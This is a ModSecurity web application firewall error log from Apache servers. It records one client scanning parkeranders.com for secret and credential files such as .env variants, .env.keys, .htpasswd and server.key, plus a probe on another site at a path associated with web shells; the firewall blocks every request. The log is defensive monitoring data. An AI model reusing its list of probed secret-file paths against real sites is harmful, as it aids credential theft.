[Sun Oct 25 22:49:41.128931 2026] [security2:error] [pid 2948436:tid 2948436] [client 34.22.120.18:41848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_xTXR5ojXz3zGeulJwAAAAAY"]
[Sun Oct 25 22:49:41.154035 2026] [authz_core:error] [pid 2943111:tid 2943111] [client 34.22.120.18:41834] AH01630: client denied by server configuration: /var/www/html/.htpasswd
[Sun Oct 25 22:49:42.132456 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:41934] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.preprod"] [unique_id "at6_xmDNiM07rt0CLXuTYQAAACE"]
[Sun Oct 25 22:49:42.132727 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:41934] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.preprod"] [unique_id "at6_xmDNiM07rt0CLXuTYQAAACE"]
[Sun Oct 25 22:49:42.133557 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:41934] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_xmDNiM07rt0CLXuTYQAAACE"]
[Sun Oct 25 22:49:42.234750 2026] [ssl:error] [pid 2946858:tid 2946858] (70014)End of file found: [client 35.169.119.108:35134] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:49:42.444441 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.22.120.18:41896] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.development.local"] [unique_id "at6_xpHtMtN5e4U4U0bi1AAAAAI"]
[Sun Oct 25 22:49:42.444682 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.22.120.18:41896] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.development.local"] [unique_id "at6_xpHtMtN5e4U4U0bi1AAAAAI"]
[Sun Oct 25 22:49:42.445607 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.22.120.18:41896] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_xpHtMtN5e4U4U0bi1AAAAAI"]
[Sun Oct 25 22:49:42.822931 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.22.120.18:42000] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.dev.local"] [unique_id "at6_xsPyJ7czCvVZGZzUMQAAAE4"]
[Sun Oct 25 22:49:42.823180 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.22.120.18:42000] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.dev.local"] [unique_id "at6_xsPyJ7czCvVZGZzUMQAAAE4"]
[Sun Oct 25 22:49:42.824085 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.22.120.18:42000] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_xsPyJ7czCvVZGZzUMQAAAE4"]
[Sun Oct 25 22:49:43.117508 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.22.120.18:42016] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.production.local"] [unique_id "at6_xzrbYhOoSbkbrVN6BQAAABs"]
[Sun Oct 25 22:49:43.117743 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.22.120.18:42016] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.production.local"] [unique_id "at6_xzrbYhOoSbkbrVN6BQAAABs"]
[Sun Oct 25 22:49:43.118670 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.22.120.18:42016] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_xzrbYhOoSbkbrVN6BQAAABs"]
[Sun Oct 25 22:49:43.122605 2026] [security2:error] [pid 2948937:tid 2948937] [client 34.22.120.18:41992] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.keys"] [unique_id "at6_xz4OcmXMvH8kvuHD7gAAAAk"]
[Sun Oct 25 22:49:43.122762 2026] [security2:error] [pid 2948937:tid 2948937] [client 34.22.120.18:41992] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.keys"] [unique_id "at6_xz4OcmXMvH8kvuHD7gAAAAk"]
[Sun Oct 25 22:49:43.123695 2026] [security2:error] [pid 2948937:tid 2948937] [client 34.22.120.18:41992] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_xz4OcmXMvH8kvuHD7gAAAAk"]
[Sun Oct 25 22:49:43.204006 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:42020] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.secret"] [unique_id "at6_x2DNiM07rt0CLXuTYgAAACE"]
[Sun Oct 25 22:49:43.204265 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:42020] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.secret"] [unique_id "at6_x2DNiM07rt0CLXuTYgAAACE"]
[Sun Oct 25 22:49:43.205015 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:42020] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_x2DNiM07rt0CLXuTYgAAACE"]
[Sun Oct 25 22:49:43.363307 2026] [security2:error] [pid 2948939:tid 2948939] [client 85.208.96.209:31960] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/Aureon51.conf"] [unique_id "at6_x5PSLEKgbCefhOPpsAAAAAs"]
[Sun Oct 25 22:49:43.363836 2026] [security2:error] [pid 2948939:tid 2948939] [client 85.208.96.209:31960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/Aureon51.conf"] [unique_id "at6_x5PSLEKgbCefhOPpsAAAAAs"]
[Sun Oct 25 22:49:43.364185 2026] [security2:error] [pid 2948939:tid 2948939] [client 85.208.96.209:31960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/Aureon51.conf"] [unique_id "at6_x5PSLEKgbCefhOPpsAAAAAs"]
[Sun Oct 25 22:49:43.400004 2026] [security2:error] [pid 2948940:tid 2948940] [client 34.22.120.18:42114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.prod.local"] [unique_id "at6_x4wvsXBdYHLHfBQ53AAAAAw"]
[Sun Oct 25 22:49:43.400243 2026] [security2:error] [pid 2948940:tid 2948940] [client 34.22.120.18:42114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.prod.local"] [unique_id "at6_x4wvsXBdYHLHfBQ53AAAAAw"]
[Sun Oct 25 22:49:43.400713 2026] [security2:error] [pid 2948941:tid 2948941] [client 34.22.120.18:42136] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.staging.local"] [unique_id "at6_x_WB3WObgayOIVDyHwAAAA0"]
[Sun Oct 25 22:49:43.400937 2026] [security2:error] [pid 2948941:tid 2948941] [client 34.22.120.18:42136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.staging.local"] [unique_id "at6_x_WB3WObgayOIVDyHwAAAA0"]
[Sun Oct 25 22:49:43.401257 2026] [security2:error] [pid 2948940:tid 2948940] [client 34.22.120.18:42114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_x4wvsXBdYHLHfBQ53AAAAAw"]
[Sun Oct 25 22:49:43.401867 2026] [security2:error] [pid 2948941:tid 2948941] [client 34.22.120.18:42136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_x_WB3WObgayOIVDyHwAAAA0"]
[Sun Oct 25 22:49:43.404855 2026] [security2:error] [pid 2948943:tid 2948943] [client 34.22.120.18:42082] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.credentials"] [unique_id "at6_x3pbsUNtlbW0tiLcVQAAAA8"]
[Sun Oct 25 22:49:43.405106 2026] [security2:error] [pid 2948943:tid 2948943] [client 34.22.120.18:42082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.credentials"] [unique_id "at6_x3pbsUNtlbW0tiLcVQAAAA8"]
[Sun Oct 25 22:49:43.406376 2026] [security2:error] [pid 2948943:tid 2948943] [client 34.22.120.18:42082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_x3pbsUNtlbW0tiLcVQAAAA8"]
[Sun Oct 25 22:49:43.640874 2026] [security2:error] [pid 2946858:tid 2946858] [client 34.22.120.18:42092] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.testing"] [unique_id "at6_x-ZnYqMmoFcEfw_MpAAAAAc"]
[Sun Oct 25 22:49:43.641148 2026] [security2:error] [pid 2946858:tid 2946858] [client 34.22.120.18:42092] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.testing"] [unique_id "at6_x-ZnYqMmoFcEfw_MpAAAAAc"]
[Sun Oct 25 22:49:43.641339 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.22.120.18:57038] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/server.key"] [unique_id "at6_xzrbYhOoSbkbrVN6BgAAABs"]
[Sun Oct 25 22:49:43.641645 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.22.120.18:57038] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/server.key"] [unique_id "at6_xzrbYhOoSbkbrVN6BgAAABs"]
[Sun Oct 25 22:49:43.642057 2026] [security2:error] [pid 2946858:tid 2946858] [client 34.22.120.18:42092] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_x-ZnYqMmoFcEfw_MpAAAAAc"]
[Sun Oct 25 22:49:43.642327 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.22.120.18:57038] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_xzrbYhOoSbkbrVN6BgAAABs"]
[Sun Oct 25 22:49:43.666508 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.22.120.18:42142] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.config"] [unique_id "at6_x8PyJ7czCvVZGZzUMgAAAE4"]
